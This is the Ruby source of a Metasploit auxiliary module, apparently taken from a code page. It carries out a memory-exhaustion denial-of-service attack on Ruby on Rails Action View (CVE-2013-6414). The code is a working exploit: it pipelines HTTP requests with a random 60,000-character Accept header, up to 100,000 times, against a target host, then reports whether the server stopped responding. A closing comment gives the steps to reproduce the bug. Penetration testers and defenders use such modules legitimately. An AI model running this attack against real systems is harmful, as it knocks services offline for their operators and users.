Path: blob/master/modules/auxiliary/dos/http/rails_action_view.rb
19850 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Dos89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Ruby on Rails Action View MIME Memory Exhaustion',14'Description' => %q{15This module exploits a Denial of Service (DoS) condition in Action View that requires16a controller action. By sending a specially crafted content-type header to a Rails17application, it is possible for it to store the invalid MIME type, and may eventually18consume all memory if enough invalid MIMEs are given.1920Versions 3.0.0 and other later versions are affected, fixed in 4.0.2 and 3.2.16.21},22'Author' => [23'Toby Hsieh', # Reported the issue24'joev', # Metasploit25'sinn3r' # Metasploit26],27'License' => MSF_LICENSE,28'References' => [29[ 'CVE', '2013-6414' ],30[ 'OSVDB', '100525' ],31[ 'BID', '64074' ],32[ 'URL', 'https://seclists.org/oss-sec/2013/q4/400' ],33[ 'URL', 'https://github.com/rails/rails/commit/bee3b7f9371d1e2ddcfe6eaff5dcb26c0a248068' ]34],35'DisclosureDate' => '2013-12-04',36'Notes' => {37'Stability' => [CRASH_SERVICE_DOWN],38'SideEffects' => [],39'Reliability' => []40}41)42)4344register_options(45[46Opt::RPORT(80),47OptString.new('URIPATH', [true, 'The URI that routes to a Rails controller action', '/']),48OptInt.new('MAXSTRINGSIZE', [true, 'Max string size', 60_000]),49OptInt.new('REQCOUNT', [true, 'Number of HTTP requests to pipeline per connection', 1]),50OptInt.new('RLIMIT', [true, 'Number of requests to send', 100_000])51]52)53end5455def host56host = datastore['RHOST']57host += ':' + datastore['RPORT'].to_s if datastore['RPORT'] != 8058host59end6061def long_string62Rex::Text.rand_text_alphanumeric(datastore['MAXSTRINGSIZE'])63end6465#66# Returns a modified version of the URI that:67# 1. Always has a starting slash68# 2. Removes all the double slashes69#70def normalize_uri(*strs)71new_str = strs * '/'7273new_str = new_str.gsub!('//', '/') while new_str.index('//')7475# Makes sure there's a starting slash76unless new_str.start_with?('/')77new_str = '/' + new_str78end7980new_str81end8283def http_request84uri = normalize_uri(datastore['URIPATH'])8586http = ''87http << "GET #{uri} HTTP/1.1\r\n"88http << "Host: #{host}\r\n"89http << "Accept: #{long_string}\r\n"90http << "\r\n"9192http93end9495def run96print_status('Stressing the target memory, this will take quite some time...')97datastore['RLIMIT'].times do |_i|98connect99datastore['REQCOUNT'].times { sock.put(http_request) }100disconnect101end102103print_status("Attack finished. Either the server isn't vulnerable, or please dos harder.")104rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout105print_status("Unable to connect to #{host}.")106rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error107print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached.")108ensure109disconnect110end111end112113=begin114115Reproduce:1161171. Add a def index; end to ApplicationController1182. Add an empty index.html.erb file to app/views/application/index.html.erb1193. Uncomment the last line in routes.rb1204. Hit /application121122=end123124125